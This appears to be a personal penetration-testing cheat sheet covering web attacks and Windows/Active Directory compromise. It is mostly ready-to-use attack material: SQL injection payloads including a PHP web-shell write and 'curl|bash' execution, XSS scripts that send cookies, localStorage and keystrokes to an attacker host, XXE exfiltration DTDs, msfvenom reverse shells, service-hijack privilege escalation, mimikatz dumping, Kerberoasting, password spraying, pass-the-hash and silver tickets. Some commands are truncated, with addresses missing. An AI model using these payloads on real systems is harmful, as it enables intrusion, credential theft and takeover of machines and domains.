SELECT @@version;


SELECT name FROM sys.databases;

SELECT * FROM app.information_schema.tables;

SELECT COLUMN_NAME, DATA_TYPE FROM app.information_schema.columns WHERE TABLE_NAME = 'menu';


sa - defaunt name for an administrator-level account

Union-based SQLi


name=xyz')) UNION ALL SELECT null, table_name, null, null from information_schema.tables where table_schema = 'exercise'#&sort=id&order=asc

name=xyz')) UNION ALL SELECT null, column_name, data_type, null from information_schema.columns where table_schema = 'exercise' and table_name = 'secrets'#&sort=id&order=asc

name=xyz')) UNION ALL SELECT null, flag, null, null from secrets#&sort=id&order=asc

Stack Queries SQLi

name=&sort=id&order=asc;select version()

name=&sort=id&order=asc;select datname from pg_database;

name=&sort=id&order=asc;select table_name from exercise.information_schema.tables;

name=&sort=id&order=asc;select column_name, data_type from exercise.information_schema.columns where table_name = 'flags';

name=&sort=id&order=asc;select flag from flags;

SQLi Remote Code Execution


-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1;  

-- To update the currently configured value for advanced options.  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1;  

-- To update the currently configured value for this feature.  

-- Run your command
EXECUTE xp_cmdshell 'whoami';


copy (SELECT '') to program 'curl|bash'

Reading and Writing Files with SQLi


create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;

-- or 

SELECT pg_read_file('/etc/passwd')


-- check the locations where MySQL can operate on files
SELECT @@GLOBAL.secure_file_priv;

-- writing content of a table to a file
SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt'
-- e.g.:
GET /extramile/index.php?id=100 UNION ALL select 0, "<?php echo passthru($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell1.php"

-- load file
SELECT LOAD_FILE('/var/lib/mysql-files/test.txt')

Error-based SQLi



	select group_concat(table_schema) 
		from (
			select table_schema 
			from information_schema.tables 
			group by table_schema) 
		as foo)

  select group_concat(table_name) 
  from (
    select table_name from information_schema.tables
    where table_schema='<table_schema>') 
  as foo)

	(select group_concat(table_name) 
	from (
		select table_name from information_schema.tables
		where table_schema='piwigo' 
		limit 2 offset 32)
	as foo)

	select group_concat(column_name) 
	from (
		select column_name 
		from information_schema.columns 
		where table_schema='piwigo' and table_name='piwigo_users') 
	as foo)

extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))


cast(@@version as integer)

cast((SELECT name FROM sys.databases ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) as integer)


cast((SELECT flag FROM exercise.dbo.secrets) AS integer)

-- - STRING_AGG() is like group_concat in mysql
-- - SUBSTRING() is like substring() in mysql


cast(version() as integer)

-- - STRING_AGG() is like group_concat in mysql
-- - is like substring() in mysql


		'select "'||
			(select substr(banner,0,30) from v$version where rownum=1)
		||'" from sys.dual'

# oneliner
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,30) from v$version where rownum=1)||'" from sys.dual'))

-- - LISTAGG() is like group_concat in mysql
-- - SUBSTR() is like substring() in mysql

Traversal Vulnerabilities

Look for references to files in url, like this one:


GET /files/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

GET /specials?menu=../../../../../../../windows/win.ini

Main ASCII for URL encoding:

%2f (forward slash "/")
%20 (single space " ")
%3D (equal sign "=")

Fuzzing the Path Parameter:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://<url>/relativePathing.php?path=../../../../../../../../../../FUZZ

# use --hc and --hh for erroneus results


Check for different 404 response sizes

This might indicate that the application handles 404 errors differently from the Web Server, which may lead to directory traversal vulnerabilities.

Test different methods

Make sure to test not only GET but also POST, PUT, PATCH and DELETE.

Cross-Site Scripting (XSS)


There are 4 types:

  • Stored Client XSS
  • Reflected Client XSS
  • Stored Server XSS
  • Reflected Server XSS

Attack Vector

  1. Identifying XSS Vulnerabilities Most common special characters:
< > - used to denote HTML elements 
' " - strings
{ } - javascript function declarations
;   - end of statement
  1. Basic XSS Check if any submission form accept any characters above and if they are escaped. If not, we can insert tags <script></script>
  2. Content Injection We can inject an iframe like so:
<iframe src="http://<your-ip>/report" height=”0” width=”0”></iframe>

And start listening on port 80 to receive that request (with some useful client data, like User-Agent):

sudo nc -nvlp 80
  1. Stealing Cookies and Session Information If we inject this script, it will send to you IP the client cookie:
<script>new Image().src="http://<your-ip>/cool.jpg?output="+document.cookie;</script>
  1. Payload from the external resource You can serve a JS file on your local VM and inject it like this:
<script src="http://<your-ip>/xss.js"></script>

Examples of remote JS payloads files


let cookie = document.cookie

let encodedCookie = encodeURIComponent(cookie)

fetch("http://<your-ip>/exfil?cookies=" + encodedCookie)


let data = JSON.stringify(localStorage)

let encodedData = encodeURIComponent(data)

fetch("http://<your-ip>/exfil?secrets=" + encodedData)


function logKey(event){
        fetch("<your-ip>/k?key=" + event.key)

document.addEventListener('keydown', logKey);


navigator.userAgent // this contains information about the user agent:

XML External Entity (XXE)

Value Replacement

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname "Replaced">

Retrieving files

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///etc/passwd">

Reading directory content

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///home/">

Out-of-band exploitation

Our dtd:

<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://<your-ip>/out?%content;'>" >


<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://<your-ip>/external.dtd"> 

CDATA Wrappers

In case of retrieving XML files, we should avoid any parsing issues using a wrapper.


<!ENTITY wrapper "%start;%file;%end;">


<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://<your-ip>/wrapper.dtd" >

Privilege Escalation


Privilege Escalation - Linux Enumeration


cat /etc/passwd # list of all users




cat /etc/issue # OS version
cat /etc/*-release # extendent OS version
uname -a # kernel and architecture

Running Processes and Services

Look for processes that might be vulnerable and are run by a privileged user, e.g. VGAuthService

ps axu # a - all; x - with/without tty; u - user readable format

Networking Information

ifconfig -a # list all network interfaces
ip a # list all network interfaces
/sbin/route # display network routing tables (/sbin/routel depending on the Linux flavor and version)
ss -anp # list network connections
sudo netstat -tulpn

Firewall Status and Rules

iptables # but only for a privileged user
# check in /etc/ for files that contain iptable rules dumped by iptable-save or /etc/iptables which contains rules restored by netfilter at boot time 

Scheduled Tasks

cat /etc/crontab # most of those will run as root so check if there are any files you can put your hands on
# also check /etc/cron* folders for anything interesting

grep "CRON" /var/log/cron.log

Installed Applications and Patch Levels

dpkg -l # list of installed software for debian distro; rpm for redhat distro

Readable/Writable Files and Directories

find / -writable -type d 2>/dev/null # get all writable files and directories; erros go to /dev/null

Unmounted Disks

mount # lists all mounted filesystems
cat /etc/fstab # list all drives that will be mounted at boot time
lsblk # view all available disks

Device Drivers and Kernel Modules

lsmod # enumerates the loaded kernel modules
/sbin/modinfo <name> # more about a specific modules from lsmod

Binaries That Auto Elevate

Similar on Linux: look for files with SUID permissions, which means that anyone can execute with root permissions:

# find all SUID-marked binaries
find / -perm -u=s -type f 2>/dev/null



Extended capabilities:

getcap -r / 2>/dev/null


import os

Use Unix Privesc Check

./unix-privesc-check standard > output.txt # check links for downloads


Linux Smart Enumeration

./ -l 1 -i # try with -l 2 







Privilege Escalation - Windows Enumeration


Consider using winPEAS (e.g. winPEASany.exe from the releases).


net user <username> # details about the user
net user # list of all users

whoami /priv # checks the privileges
whoami /groups # checks the groups (and integrity levels)

net localgroup Administrators # shows users in the local group Administrators




systeminfo # show all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" # show most important

Running Processes and Services

tasklist /SVC # list of processes mapped to specific services

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} # a more powerful example using powershell

wmic service where caption="Serviio" get name, caption, state,
startmode # checks if a process is autostarting

File Permissions

icacls "<exe file>" # checks the permissions

# Mask Permissions
# F Full access
# M Modify access
# RX Read and execute access
# R Read-only access
# W Write-only access

Networking Information

ipconfig /all # list all network interfaces
route print # print routing tables
netstat -ano # show active network connections

Firewall Status and Rules

netsh advfirewall show currentprofile # inspect the current firewall profile
netsh advfirewall firewall show rule name=all # list firewall rules

Scheduled Tasks

schtasks.exe /query /fo LIST /v # list of scheduled tasks

Installed Applications and Patch Levels

wmic product get name, version, vendor # returns list of applications installed with windows installer. Note: it needs to be executed from cmd, not powershell
wmic qfe get Caption, Description, HotFixID, InstalledOn # list of windows updates

.\seatbelt.exe NonstandardProcesses

.\winPEASany.exe quiet procesinfo

Readable/Writable Files and Directories

accesschk.exe -uws "Everyone" "C:\Program Files" # checks for all files with 'write' file permissions (-w flag) using accesschk.exe

Get-ChildItem "C:\Program Files\" -Recurse | Get-Acl | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} # same as accesschk.exe but in powershell

Unmounted Disks

mountvol # lists all drives

Device Drivers and Kernel Modules

driverquery /v /fo csv | ConvertFrom-Csv | Select-Object 'Display Name', 'Start Mode', Path # in powershell list of loaded drivers and kernel modules

Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer |  Where-Object {$_.DeviceName -like "*VMware*"} # version of a driver

Binaries That Auto Elevate

Check if AlwaysInstallElevated registry key is set to 1 in HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE, which means that the user can always run the Windows Installer with elevated privileges.

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

Example: fodhelper.exe C:\Windows\System32\fodhelper.exe

Unquoted paths

Show services with unquoted paths:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | find /i /v """

Check if they exist since you can utilize them like this:

C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe


List all files and folders

cmd /c dir /b /a /s C:\ > <output_file.txt>

Shutdown now

shutdown /r /t 0 # restarts the system now

Use Windows Privesc Check

windows-privesc-check2.exe -h # check for help and all options
windows-privesc-check2.exe --dump -G # lists groups

Process manifest using Sysinternals

sigcheck.exe -a -m <application> # e.g. C:\Windows\System32\fodhelper.exe

# Look for processes that have 'requireAdministrato' and 'autoElevante' set to 'true'

Escalate from an admin user to full SYSTEM privileges:

.\PsExec(64).exe -accepteula -i -s C:\<your_binary>

Low-hanging fruits

VNC server

It might be that there's a VNC installed in server mode, and perhaps it has some passwords.


UAC Bypass

UACbypass: EventViewer-UACBypass (Invoke-EventViewer.ps1)

import-module .\Invoke-EventViewer.ps1
Invoke-EventViewer C:\shell.exe


Token Impersonation

Requires SeImpersonatePrivilege


Works on Windows 7, 8, early versions of 10 and server counterparts.

.\JuicyPotato.exe -l 1337 -p <revshell.exe> -t * -c <CLSID>

CLSID is for a given Windows version and can be checked on JuicyPotato github page.


Works on newer Windows 10 versions.


RoguePotato Ref



PrintSpoofer Ref



Dealing with services:

# query the service config:
sc.exe qc <name>

# query the current service status:
sc.exe query <name>

# modify a service config option:
sc.exe config <name> <option>= <value>

# service start/stop:
net start/stop <name>

Rabbit Hole Even if you can edit options, make sure can also start/stop services (or at least restart the system), otherwise there's nothing you can do.

Insecure Service Properties

  1. Use winPEAS to enumerate services and see if there are any modifiable
.\winPEASany.exe quiet serviceinfo
  1. Confirm permissions to that service with the accesschk (to see if you can also start/stop it):
.\accesschk.exe /accepteula -uwcqv <username> <service_name>
  1. Query the service current config:
  • check the BINARY_PATH_NAME
  • make sure it runs as system user (SERVICE_START_NAME field)
sc qc <service_name>
  1. Set the binry path of the service to the revshell binary and restart the service:
sc config <service_name> binpath= "\"C:\revshell.exe\""
  1. Start nc on kali
  2. Restart the service:
net stop <service_name>
net start <service_name>

Unquoted Service Path

  1. Use winPEAS to enumerate services with unquoted paths
.\winPEASany.exe quiet serviceinfo
  1. Confirm permissions to that service with the accesschk (to see if you can also start/stop it):
.\accesschk.exe /accepteula -uwcqv <username> <service_name>
  1. Use accesschk.exe to check if you can write to the unquoted paths of that service:
.\accesschk.exe /accepteula -uwdq "<unquoted_path>" # e.g. "C:\Program Files\"

Look for entry: RW BUILDIN\Users 4. Copy your revshell.exe to the location somewhere in the path and rename it to the first part of the unquoted path. 5. Start nc on kali 6. Restart the service:

net stop <service_name>
net start <service_name>

Weak Registry Permissions

  1. Use winPEAS to enumerate services for which we can modify registry entries
.\winPEASany.exe quiet serviceinfo
  1. Verify that with either powershell or accesschk:
powershell -exec bypass

Get-Acl <registry_path> | Format-List

# or

.\accesschk.exe /accepteula -uvwqk <registry_path>

Look for RW NT AUTHORITY\INTERACTIVE entries. 3. Confirm permissions to that service with the accesschk (to see if you can also start/stop it):

.\accesschk.exe /accepteula -uwcqv <username> <service_name>
  1. Check current values in the service registry:
req query <registry_path>

Look for ImagePath to update it and make sure the ObjectName contains System. 5. Override ImagePath value with the revshell.exe:

reg add <registry_path> /v ImagePath /t REG_EXPAND_SZ /d C:\revshell.exe /f
  1. Start nc on kali
  2. Restart the service:
net stop <service_name>
net start <service_name>

Insecure Service Executables

  1. Use winPEAS to enumerate services for which we can override its executable:
.\winPEASany.exe quiet serviceinfo
  1. Verify this with accesschk:
.\accesschk.exe /accepteula -quvw "<service_executable>"

Look for RW Everyone or your user/group 3. Confirm permissions to that service with the accesschk (to see if you can also start/stop it):

.\accesschk.exe /accepteula -uwcqv <username> <service_name>
  1. Backup the original service executable
  2. Replace the service executable with your revshell
  3. Start nc on kali
  4. Restart the service:
net stop <service_name>
net start <service_name>

DLL Hijacking

  1. Use winPEAS to enumerate non-Micrrosoft services and for a folder that is writable and in the PATH variable:
.\winPEASany.exe quiet serviceinfo
  1. Check which of those services we have privileges to stop/start
.\accesschk.exe /accepteula -uwcqv <username> <service_name>
  1. Check which binary this service is executing and copy it to your environment for analysis.
  2. Use Procmon to check which dlls are loading upon service start. There should be NAME NOT FOUND entries which show how Windows is trying to find and load DLL from different locations. If we find an entry to which we have write access, we can place our malicious DLL.
  3. Generate revshell with the format set to dll:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f dll -o <dll_name.dll>
  1. Replace the dll on the target.
  2. Start nc on kali
  3. Restart the service:
net stop <service_name>
net start <service_name>



  1. Use winPEAS or query the registry to enumerate applications
.\winPEASany.exe quiet applicationsinfo

# or 

req query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Look for autorun applications which anyone can write to. 2. Confirm the permissions (which let you write) using accesschk:

.\accesschk.exe /accepteula -wvu <program>
  1. Make a backup of the original executable, then override it with your revshell
  2. Start a listener on Kali
  3. Restart the Windows


  1. Use winPEAS to enumerate applications
.\winPEASany.exe quiet windowscreds

Check that both AlwaysInstallElevated are set to 1. 2. Create a new revshell with .msi format:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f msi -o revshell.msi
  1. Start a listener on Kali
  2. Copy the revshell to windows and execute it:
msiexec /quiet /qn /i revshell.msi


Search for passwords

Search the registry for passwords:

reg query HKLM /f password /t REG_SZ /s # local machine
reg query HKCU /f password /t REG_SZ /s # current usser

Use winPEAS to look for credentials in common places:

.\winPEASany.exe quiet filesinfo userinfo

Use passwords

With credentials we can use winexe to spawn a shell:

winexe -U '<user>:<password>' //<target_ip> cmd.exe

# if the user is admin, we can use the system option
winexe -U '<user>:<password>' --system //<target_ip> cmd.exe

Saved creds

  1. Use winPEAS to search for stored credentials
.\winPEASany.exe quiet cmd windowscreds
  1. Verify that with cmdkey:
cmdkey /list
  1. Start listener on Kali
  2. Run as the user with saved creds:
runas /savecred /user:<user> <revshell.exe> 

Configuration files

  1. Use winPEAS to search for files:
.\winPEASany.exe quiet cmd searchfast filesinfo 

Look for files like Unattend.xml which may contain a password (base64 encoded) for a user. 2. Search manually for files with passwords:

dir /s *pass* == *.config # pass in the name of ending with .config

findstr /si password *.xml *.ini *.txt # contains password and ends with these extensions
  1. winPEAS could find SAM or SYSTEM files. Copy them to Kali
  2. Use the tool pwdump from creddump7 suite and dump the hashes from SAM or SYSTEM files:
python2 <SYSTEM> <SAM>
  1. Use hashcat to crack the password:
hashcat -m 1000 --force <second_parth_of_the_hash> <wordlist>
  1. Instead of cracking the password, you can use Pass the Hash:
pth-winexe -U '<user>%<full_hash>' //<ip> cmd.exe

# if it is the admin, use system option

pth-winexe --system -U '<user>%<full_hash>' //<ip> cmd.exe


Works on Windows 7, 8, early versions of 10 and server counterparts:

.\potato.exe -ip <ip> -cmd <revshell.exe> -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true


Windows Exploit Suggester

known windows kernel exploits

Watson - for newer Windows


Windows Exploit Suggester

Get system details:

systeminfo > systeminfo.txt

Execute the Windows Exploit Suggester:

python systeminfo.txt -i 'Elevation of Privilege' --exploits-only

Cross-check the results with known windows kernel exploits. If you don't find a match there, check searchsploit or exploit-db.


Windows Exploit Suggester

known windows kernel exploits

Watson - for newer Windows

Pivoting - Port Redirection and Tunneling


Local Port Forwarding

When from your local machine you want to access a remote host which you don't have a direct connection to, via another machine that has a direct connection to that remote host.

ssh -N -L <bind_address>:<port>:<host>:<hostport> <username@address>

For instance, from our Kali, we want to forward port 445 to the Windows Server (which we don't have direct access to). We need to open the SSH tunnel from our Kali machine to the host we have direct access to, which also has direct access to the Windows Server.

Let's say:

  • direct machine IP is:
  • account on direct machine is: user
  • Windows Server has the IP:
sudo ssh -N -L user@ 

If you're dealing with Windows Server 2016, make sure that follow the SMB onfig guide at the end of [[smb-enumeration]].

Now you can connect like this:

smbclient -L -U <windows_username>

Remote Port Forwarding

This is used if you gained access to the remote host but a service there (e.g. MySQL) is exposed only on a local port or is blocked by the firewall. In this case, you can SSH out from your Kali machine to the remote host.


  • Your Kali IP:
  • Your Kali user is: user
  • Local port on your Kali will be: 2221
  • Local service on remote host is MySQL on port: 3306

On remote host, you do the following:

ssh -N -R user@

To verify that it work, on your Kali run:

ss -antp | grep 2221

No you can run your Kali tools on your Kali machine to interact with MySQL running locally on port 3306, on remote host, via your localhost and port 2221. Like this:

sudo nmap -sS -sV -p 2221

Dynamic Port Forwarding

This is used like in Local Port Forwarding except that for all ports and for all IP addressed.

Let's say:

  • our compromised machine IP is:
  • user name of this machine is: user
  • our local port on kali is: 8080

We open a dynamic (-D) tunnel:

sudo ssh -N -D user@

This will route application traffick to the target network via the SSH tunnel.

To use it, we can use ProxyChains. First we need to configure it, edit /etc/proxychains.conf (or preferably $(HOME)/.proxychains/proxychains.conf)


socks4 8080

Assuming that the remote network is, which you don't have direct access to, but only via your compromised host ( This is how you can use it now:

sudo proxychains nmap --top-ports=20 -sT -Pn


You can use it for SSH on Windows. Works pretty much the same.

Example of remote port forwarding (MySQL example from above):

plink.exe -ssh -l username -pw password -R

This will not give us the interactivity as a normal shell, so we should pipe it to cmd.exe:

cmd.exe /c echo y | plink.exe -ssh -l username -pw password -R

Then from Kali machine we can scan the MySQL:

sudo nmap -sS -sV -p 1234


Connection from a target machine to elsewhere via your machine. Edit /etc/rinetd.conf on your machine: <port> <destination_ip> <port>

rinetd needs to be restarted:

sudo service rinetd restart

Verify that rinetd is listening on this port:

ss -antp | grep "80"

From target machine, connect to the destination_ip using your machine ip:

curl <your_ip>


If a Squid proxy is there, we can try to use proxytunnel to tunnel another port on on a target, back to our machine on our local port:

proxytunnel -p $IP:3128 -d -a 4444


Note: SYSTEM-level privileges are required for NETSH to work.

It is similar to SSH local port forwarding. We need to make sure that the IPv6 and IP Helper are enabled on Windows (which they are by default).

To connect from your Kali to Windows Server (not available directly) via compromised Windows machine, assuming:

  • compromised Windows machine IP
  • compromised Windows machine local port: 4455
  • Windows Server port: 445

On the compromised Windows machine, we can add the IPv4-to-IPv4 proxy like this:

netsh interface portproxy add v4tov4 listenport=4455 listenaddress= connectport=445 connectaddress=

On the compromised Windows machine, we can verify that this worked:

netstat -anp TCP | find "4455"

By default, the firewall will disallow the connection, so we need to add the rule:

netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip= localport=4455 action=allow

If you're dealing with Windows Server 2016, make sure that follow the SMB config guide at the end of [[smb-enumeration]].

Now from your Kali you can connect like this:

smbclient -L --port=4455 --user=Administrator

Note: regardless of the config change to SMB2, expect the following error:

do_connect: Connection to failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available

Now we can mount a new share on your Kali:

sudo mkdir /mnt/win10_share
sudo mount -t cifs -o port=4455 // -o username=Administrator,password=Qwerty09! /mnt/win10_share

HTTPTunnel-ing Through Deep Packet Inspection

This is to be used in case there is a Deep Packet Inspection enabled, which allows only HTTP traffic. Assume you have compromised a Linux box and have root level access (logins, passwords, etc.).

HTTPTunnel is used to encapsulate traffic with HTTP requests, creating an "HTTP tunnel".

First, make sure httptunnel is installed on your Kali:

sudo apt update
sudo apt install httptunnel

Scenario: we have compromised a Linux based server but have access via HTTP only. From that Linux we can access another server, Windows Server 2016 via RDP.


  • Input: HTTP Tunnel will run on our Kali, localhost on port 8080
  • Output: compromised Linux server listening on port 1234
  • We will set up a local port forwarding on the compromised Linux server (local 8888 to remote Windows RDP 3389)
  • both your Kali and compromised Linux have httptunnel installed

Local port forwarding from the compromised Linux Server to Windows Server:

ssh -L user@

Verify on Linux Server:

ss -antp | grep "8888"

Set up HTTPTunnel on Linux Server:

hts --forward-port localhost:8888 1234

Verify on Linux Server:

ps aux | grep hts
ss -antp | grep "1234"

Now, all traffic sent to TCP port 8080 on our Kali Linux will be redirected into our HTTPTunnel (where it is HTTP-encapsulated, sent across the firewall to the compromised Linux Server and decapsulated) and redirected again to the Windows Server remote desktop.

Antivirus Evasion

Two types:

  1. On-disk
  2. In-memory


  • Packers
  • Obfuscators
  • Crypters - currently the best method of on-disk evasions
  • Software Protectors (e.g. The Enigma Protector) combine all of the above

In-memory (a.k.a. PE Injections)

In-memory injection using PowerShell

(Remote Process Memory Injection - attempt to inject the payload into another valid PE that is not malicious) Approach

  • Use Windows APIs
  • Use the OpenProcess function to obtain a valid HANDLE to a target process
  • Allocate memory in the context of that process, WinAPI such as VirtualAllocEx
  • Copy the malicious payload to the allocated memory, WinAPI WriteProcessMemory
  • The payload is executed in memory in a separate thread using the CreateRemoteThread API

Active Directory

AD Approach

  1. Get access to a local admin or system level shell.
  2. Enumerate Active Directory, check who is logged on and where. Target users belonging to high-value groups
  3. Go through the auth checklist and gather as much of auth info as possible
  4. Lateral moves within the AD
  5. Achieve AD persistence

AD Enumeration

Users and Groups

Look for users who belong to an admin group (e.g. Domain Admins). Traditional approach is to use net user /domain to list all users and then look for the one which is in the admin group.

net user # local accounts
net user /domain # all accounts in the entire domain
net user <user_name> /domain # details about the domain user

net group /domain # enumerates all groups in the domain

Script to enumerate AD


Logged on users on target workstation

# NetWkstaUserEnum - requires admin rights
# PowerView.ps1 - Get-NetLoggedon function
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName <computer_name> # e.g. client251

Active user sessions on servers (file servers or domain controllers)

# NetSessionEnum - does not require admin rights
# PowerView.ps1 - Get-NetSession function
Import-Module .\PowerView.ps1
Get-NetSessions -ComputerName <computer_name> # e.g. dc01 - domain controller

Names and explanations

PdcRoleOwner # Primary Domain Controller Name

Domain's account policy

net accounts


Script to enumerate AD


# useful filters:
# serviceprincipalname=*http*

This will let you enumerate the AD services (e.g. sql or http services). Once you run adwalk with suggested filter, use the Service Principal Name (SPN) value and to check it's up with nslookup.


AD Authentication

Some theory first

Authentication types

  • Kerberos
  • NTLM



  1. Client sends an authentication server request to DC (KDC - key distribution center). The request is a timestamp hashed with user's password plus the username.
  2. DC answers to the client with a success when the decrypted timestamp is not a duplicate.
    • The reply consists of a session key and a Ticket Granting Ticket (TGT)The session key is encrypted with client's password hash.
    • The TGT contains details about the user, groups, domain, etc, and also the session key.
    • TGT is encrypted with a key known only to KDC.
    • TGTs are valid for 10h by default, renewal doesn't require entering password.
  3. Client sends a Ticket Granting Service request to DC, consisting of user and timestamp encrypted with session key as well as SPN of resources and encrypted TGT
  4. DC decrypts the TGT (with the key known to KDC). The session key is extracted and used to decrupt username and timestamp of the request. DC checks then the following:
    • valid timestamp
    • username of the request match username from TGT
    • client IP needs to match with TGT IP And sends back to the client the Ticket Granting Service reply that consists of:
    • SPN details (encrypted with the session key associated with the creation of TGT)
    • session key to be used between client and SPN (encrypted with the session key associated with the creation of TGT)
    • service ticket containing username, group and newly generated session key (encrypted with the password hash of the service account)
  5. Client sends an application request containing the username and timestamp encrypted with the session key assosiated with the service ticket and the service ticket itself
  6. Application server decrypts the service ticket with the account password hash and extracts the username and session key. If the username from the ticket matches the one decrypted from the request, the request is accepted. Then the permissions are checked.


Used when client authenticates by IP address (instead of a hostname) or if the user attempts to authenticate to a hostname that is not registered on the AD integrated DNS server.


  1. Client calculates NTLM hash (based on user's password)
  2. Client sends the username to Application Server
  3. Application Server responds with a "nonce" (which is a random value) to the client
  4. Client encrypts the nonce with NTLM hash and sends it back to the application server
  5. Aplication Server sends the encrypted response, username and nonce to DC
  6. DC encrypts the nonce with NTLM hash of the user and compares it with the response
  7. If all matches, DC sends back the "Approve Authentication" to the Application Server


We need to have a hash stored in the SAM. This can be done by "making" an admin to use their credentials on your system. No admin privileges are needed for this attack.

Cached Credential Storage and Retrieval

We can use mimikatz but it needs to run as SYSTEM. Best to run it using an injector like Invoke-ReflectivePEInjection or dump the entire LSASS process memory and load it to mimikatz in another machine.

Getting hashes and tickets with mimilatz

mimikatz.exe # from cmd with elevated privileges

# useful mimikatz commands

privilege::debug # requires admin; allows for SAM inspection (hashes, tickets,etc)

token::elevate # goes from admin (high itegrity) to system (system integrity)

lsadump::sam # dumps the content of SAM database

sekurlsa::logonpasswords # dumps the hashes
sekurlsa::tickets # dumps the tickes

Creating a ticket

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<SPN>' # e.g. 'HTTP/'

Listing tickets


Grabbing Service Tickets

# in mimikatz.exe
kerberos::list /export
# alternative using an API:

Alternatives to Mimikatz

Import-Module .\Invoke-Kerberoast.ps1

Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')} | Out-File -Encoding ASCII hashes.kerberoast

Cracking Service Tickets


python /usr/share/kerberoast/ <word_list> <service_ticket_file>


# if using the tickets from mimikats, need to use kirbi2john first:
python <service_ticket> > <john_output>

# and then just:
john --format=krb5tgs '<hashes_kerberoast>' --wordlist=wordlist.txt

Password Attacks

Low and slow

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "jeff_admin", "Qwerty09!")

Alternative: Spray-Passwords.ps1 Test all admin accounts in the AD which have a given password:

.\Spray-Passwords.ps1 -Pass Qwerty09! -Admin

AD Lateral Movements

With creds

python /usr/share/doc/python3-impacket/examples/

Pass the Hash

Auth with NTLM hash instead of a password. Works for NTLM only - e.g. when using IP instead of hostname within the AD.

The mechanism works as follows:

Attacker connects to the victim via SMB and performs the auth using the NTLM hash. A Windows service is started (e.g. cmd.exe or powershell) and is communicated with using Named Pipes via the Service Control Manager API. To make it work, SMB needs to be allowed on the Firewall (port 445) and Windows File and Print Sharing feature needs to be enabled.


  • PsExec from Metasploit
  • Passing-the-hash toolkit (e.g. pth-winexe)
  • Impacket
# pth-winexe example
pth-winexe -U <username>%<blank_lm/blank_ntlm>:<hash> //<share/IP> <command>

# aad3b435b51404eeaad3b435b51404ee - blank LM
# 31d6cfe0d16ae931b73c59d7e0c089c0 - blank NTLM

# example:
pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e // cmd

Overpass the Hash

This technique uses TGT which can be executed on the same machine where the ticket was generated.

First, you need to have access to a privileged account (local administrator). From there, you start cmd as an Administrator, launch mimikatz and dump the hashes:


Turning NTLM hash into a Kerberos ticket

# in the mimikatz

sekurlsa::pth /user:<username> /domain:<> /ntlm:<NTLM_hash> /run:<process>

# example:
sekurlsa::pth /user:jeff_admin / /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe

Generate TGT

# By authenticating to a DC, e.g.:

net use \\<dc> # e.g. \\dc01
klist # list tickets

Now we can reuse the ticket and log in to the DC with PsExec.exe:

.\PsExec.exe \\dc01 cmd.exe # this will log you in to the DC as the user for which the ticket was generated

Pass the Ticket

This technique uses TGS which may be exported and re-injected elsewhere.

Create the Silver Ticket

  1. Obtain SID
  2. Flush the existing tickets
  3. Genetate the silver ticket Obtain SID
whoami /user
# from the example output: S-1-5-21-1602875587-2787523311-2599479668-1103
# SID is: S-1-5-21-1602875587-2787523311-2599479668

Flush the existing tickets

# in mimikatz

Generate the silver ticket

# in mimikatz
kerberos::golden /user:<username> /domain:<domain> /sid:<sid> /target:<target_app> /service:<service> /rc:<password_hash> /ptt

# example:
kerberos::golden /user:offsec / /sid:S-1-5-21-1602875587-2787523311-2599479668 / /service:HTTP
/rc4:E2B475C11DA2A0748290D87AA966C327 /ptt

Distributed Component Object Model (DCOM)


